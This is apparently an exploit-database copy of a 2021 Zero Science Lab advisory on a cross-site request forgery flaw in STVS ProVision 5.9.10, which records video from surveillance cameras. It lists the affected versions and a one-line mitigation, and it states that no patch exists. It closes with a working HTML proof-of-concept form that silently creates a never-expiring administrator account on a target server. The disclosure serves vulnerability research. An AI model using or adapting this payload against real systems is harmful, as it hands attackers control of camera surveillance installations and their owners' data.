STVS ProVision 5.9.10 - Cross-Site Request Forgery (Add Admin)

vendor:

STVS ProVision

by:

LiquidWorm

8.8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: STVS ProVision

Affected Version From: 5.9.10 (build 2885-3a8219a)

Affected Version To: 5.5

Patch Exists: NO

Related CWE: N/A

CPE: a:stvs:stvs_provision

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu 14.04.3, nginx/1.12.1, nginx/1.4.6, nginx/1.1.19, nginx/0.7.65, nginx/0.3.61

2021

STVS ProVision 5.9.10 – Cross-Site Request Forgery (Add Admin)

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Validate all user input and ensure that requests are coming from trusted sources.

Source

Exploit-DB raw data:

# Exploit Title: STVS ProVision 5.9.10 - Cross-Site Request Forgery (Add Admin)
# Date: 19.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.stvs.ch

STVS ProVision 5.9.10 Cross-Site Request Forgery (Add Admin)


Vendor: STVS SA
Product web page: http://www.stvs.ch
Platform: Ruby
Affected version:  5.9.10 (build 2885-3a8219a)
                   5.9.9 (build 2882-7c3b787)
                   5.9.7 (build 2871-a450938)
                   5.9.1 (build 2771-1bbed11)
                   5.9.0 (build 2701-6123026)
                   5.8.6 (build 2557-84726f7)
                   5.7
                   5.6
                   5.5

Summary: STVS is a Swiss company specializing in development of
software for digital video recording for surveillance cameras
as well as the establishment of powerful and user-friendly IP
video surveillance networks.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Ubuntu 14.04.3
           nginx/1.12.1
           nginx/1.4.6
           nginx/1.1.19
           nginx/0.7.65
           nginx/0.3.61


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5625
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5625.php

19.01.2021

--


<html>
  <body>
    <form action="http://192.168.1.17/users/create" method="POST">
      <input type="hidden" name="login" value="testingus" />
      <input type="hidden" name="password" value="testingus" />
      <input type="hidden" name="confirm&#95;password" value="testingus" />
      <input type="hidden" name="email" value="test&#64;test&#46;tld" />
      <input type="hidden" name="role&#95;id" value="1" />
      <input type="hidden" name="never&#95;expire" value="on" />
      <input type="hidden" name="disabled&#95;acc" value="false" />
      <input type="submit" value="Forge request" />
    </form>
  </body>
</html>